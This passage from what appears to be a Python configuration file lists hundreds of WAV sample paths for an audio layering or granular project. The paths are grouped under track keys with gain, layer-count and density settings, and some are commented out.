'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-067.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-068.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-069.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-070.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-071.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-072.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-074.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-076.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-078.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-079.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-080.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-081.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-082.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-083.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-085.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-086.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-087.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-088.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-089.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-090.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-091.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-092.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-093.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-094.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-095.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-096.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-097.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-098.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-099.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-100.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-101.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-102.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-103.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-104.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-105.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-106.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-107.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-108.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-109.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-110.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-111.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-112.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-113.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-114.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-115.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-116.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-117.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-118.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-119.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-120.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-121.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-122.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-123.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-124.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-125.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-126.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-127.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-128.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-129.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-130.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-131.wav',
],
},
},
# trk_AUD20200213 main
'trk_AUD20200213': {
'raw': {
'gain_max': 3,
'gain_min': -6,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0000.183810.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0000.849433.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0003.311701.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0005.388776.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0005.713424.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0007.756803.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0008.177234.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0019.337868.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0019.959501.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0021.732766.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0022.357302.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0024.417029.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0024.563401.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0026.885714.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0026.965488.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0029.381293.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0031.832132.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0033.780431.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0033.909546.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0034.530068.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0035.924535.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0036.041474.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0038.651950.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0038.958798.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0041.386281.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0041.405420.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0043.378730.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0043.475578.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0000-isolated_0045.674921.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0000.072245.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0000.199660.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0000.826984.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0003.112971.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0003.234649.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0003.774467.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0005.381156.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0007.688005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0008.437302.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0008.779116.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0009.047891.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0010.001519.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0010.409977.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0011.176349.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0011.850431.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0013.926735.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0014.903084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0014.968118.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0014.989728.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0015.299932.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0016.036689.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0016.333810.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0016.680658.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0017.243333.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0018.443719.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0018.707392.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0019.288141.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0019.699229.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0019.971361.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0020.891905.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0021.724036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0022.113605.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0023.274558.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0024.064376.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0024.184785.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0024.815964.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0025.758980.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0026.611633.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0027.211723.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0028.174172.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0029.001224.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0029.625102.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0030.068277.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0030.083447.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0030.256916.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0030.570567.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0031.461383.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0031.838889.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0032.542630.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0033.014195.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0033.850363.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0034.062041.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0034.629206.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0034.781882.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0036.308141.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0036.498934.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0036.667596.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/AUD-20200213-WA0001-isolated_0038.039637.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0000.251859.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0000.267075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0002.615329.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0004.797438.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0004.814649.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0002_0006.855465.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0000.000023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0001.001610.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0001.429637.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0001.574399.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0002.307120.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0003.661134.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0003.984694.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0004.839070.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0005.452132.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0005.487664.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0006.199320.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0006.389048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0008.483583.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/AUD-20200213-WA0003_0008.832245.wav',
],
},
# trk026, trk-AUD20200213
'proc': {
'gain_max': 3,
'gain_min': -21,
'numlayer': 10,
'density': 0.66,
'files': [
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-000.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-001.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-002.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-003.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-004.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-005.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-006.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-007.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-008.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-009.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-010.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-011.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-012.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-013.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-014.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-015.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-016.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-017.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-018.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-019.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-020.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-021.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-022.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-023.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-024.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-025.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-026.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-027.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-028.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-029.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-030.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-031.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-032.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-033.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-034.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-035.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-036.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-037.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-038.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-039.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-040.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-041.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-042.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-043.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-044.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-045.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-046.wav',
